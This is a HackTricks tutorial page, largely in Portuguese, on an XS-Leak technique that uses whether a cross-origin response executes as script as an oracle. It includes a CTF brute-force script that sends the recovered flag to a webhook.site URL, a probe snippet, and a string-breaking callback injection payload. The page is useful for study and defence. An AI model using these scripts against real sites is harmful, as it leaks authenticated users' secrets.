JavaScript Execution XS Leak

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks

Este primitive de XS-Search transforma se uma resposta cross-origin executa como JavaScript em um oracle Boolean.

A configuração usual é:

  • Positive state: o alvo retorna texto controlado pelo atacante ou conteúdo sensível que não executa como JavaScript do atacante.
  • Negative state: o alvo reflete texto controlado pelo atacante em um local que é analisado como JavaScript válido, então o atacante pode forçar um callback como window.parent.foo().
  • Leak: carregue o alvo com um clássico <script src> e observe se o callback é acionado.

Isso é basicamente um execution oracle, não um timing oracle. A única coisa de que o atacante precisa é uma cross-origin script inclusion que se comporte de forma diferente dependendo do branch dependente do segredo.

Para o contexto genérico de XS-Leaks, veja:

HackTricks

When This Works

Esta técnica é prática quando tudo a seguir é verdadeiro:

  • A vítima está autenticada no target origin.
  • O atacante pode fazer o navegador da vítima requisitar um classic script do target origin.
  • Um branch retorna conteúdo que é valid attacker-controlled JavaScript.
  • O outro branch retorna conteúdo que does not execute the attacker callback.

Na prática, os casos mais fáceis são endpoints de search/debug que:

  • retornam texto controlado pelo atacante quando um palpite está errado
  • retornam um body diferente quando o palpite está certo
  • permitem que o atacante escolha um parâmetro como callback, hint, msg, ou um prefixo/sufixo refletido

Basic Example

Código server-side que vai tentar ${guess} como um prefixo de flag:

app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})

Página principal que gera iframes para a página /guessing anterior para testar cada possibilidade:

<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1

let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}

// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>

A lógica do atacante é:

  1. Comece cada candidato como “good”.
  2. Carregue a resposta alvo como um script.
  3. Se a resposta executar window.parent.foo(), marque o candidato como errado.
  4. Se nenhum callback disparar, mantenha o candidato e continue o brute-forcing.

Minimal Probe Pattern

Em muitos alvos reais, um iframe não é necessário. Uma inclusão direta de script é suficiente:

<script>
let hit = true
function miss() {
hit = false
}

function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>

Se o branch de “wrong guess” refletir miss(), então:

  • probe(...) === false significa que o callback foi executado ou o load falhou
  • probe(...) === true significa que o script carregou sem executar o attacker callback

Para confiabilidade, use um fresh script element por probe e adicione um cache-buster como ?r=${crypto.randomUUID()}.

Modern Caveats

It must be a classic script

Este primitive depende de o browser buscar o recurso como um classic script. Um <script src=...> simples sem crossorigin é buscado em modo no-cors, e é exatamente por isso que esse old pattern ainda é útil cross-origin.

Não troque para type="module" para esta technique:

  • cross-origin module scripts require CORS
  • muitos targets que podem ser incluídos como classic scripts simplesmente falharão como modules

MIME type and nosniff decide whether the payload executes

Browsers atuais são mais rígidos que writeups antigos. Se o target definir X-Content-Type-Options: nosniff, o browser vai bloquear uma resposta de script cujo MIME type não seja um JavaScript MIME type.

Isso significa que este oracle muitas vezes depende de:

  • se o target retorna application/javascript / text/javascript
  • se o target retorna text/plain, text/html, ou JSON
  • se nosniff está presente

É também por isso que alguns endpoints só dão um leak em um branch: uma resposta é aceita como script, enquanto o outro branch é bloqueado ou parseado de forma diferente.

CORB can change the observable result

CORB adiciona outro branch para considerar. Se uma resposta for considerada CORB-protected, o Chromium pode transformá-la em uma empty valid script response em vez de expor uma parse failure. Então, para alguns endpoints:

  • um estado dispara um normal script parse / callback
  • outro estado vira um empty script e só onload dispara

Isso ainda é um oracle útil, mas o sinal agora é callback vs no callback ou onload vs onerror, não apenas “JavaScript executed or not”.

CSP can kill the attacker-controlled branch

CSP estrito na target response pode quebrar este primitive quando o reflected branch não é mais executable JavaScript. Writeups públicos de XS-Leak challenge de 2022 a 2024 dependem repetidamente desse detalhe:

  • script-src 'none' pode forçar attackers a mudar para longe de um direct execution oracle
  • interações de CSP/SRI/CSP-report ainda podem criar other leak oracles, mas isso pertence a outras pages/techniques

Então, quando o truque óbvio de callback não funcionar, inspecione os response headers antes de descartar o endpoint.

Useful Variants

Callback-parameter endpoints

O target mais conveniente é um endpoint no estilo JSONP ou de debug que aceita um parâmetro como:

  • callback=...
  • cb=...
  • jsonp=...
  • hint=...
  • msg=...

Se o branch “miss” refletir esse valor literalmente em JavaScript executável enquanto o branch “hit” retornar conteúdo diferente, você obtém um oracle Boolean direto sem medição de timing.

Syntax-preserving prefixes and suffixes

Às vezes você não consegue controlar totalmente o response body, mas ainda consegue fazer o negative branch executar:

  • feche a string ou o argumento da função atual
  • injete o callback
  • comente os trailing bytes

Por exemplo, um reflected branch como:

showResult("<attacker>");

pode muitas vezes ser transformado em:

showResult("");window.parent.foo();//");

Se a branch positiva não refletir esse payload, o callback se torna o oracle.

Combinando com event-based oracles

Se o endpoint for instável entre browsers, misture o execution oracle com os eventos genéricos de carregamento de script já cobertos no índice da seção:

  • callback fired
  • onload
  • onerror

Isso é especialmente útil quando uma branch produz JavaScript válido e outra branch produz comportamento bloqueado de MIME / CORB / CSP.

Páginas relacionadas:

Notas Práticas

  • Prefira um bit por request e mantenha o side effect do callback simples.
  • Se você testar muitos candidatos, remova elementos <script> inseridos anteriormente ou isole cada tentativa em um iframe novo.
  • O comportamento de cache e service worker pode contaminar o oracle; use cache-busting.
  • Este primitive é mais forte quando a branch negativa é JavaScript totalmente controlado pelo atacante. Se você obtiver apenas reflexão parcial, o exploit vira um problema de payload-shaping em vez de um problema de XS-Search.

Referências

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks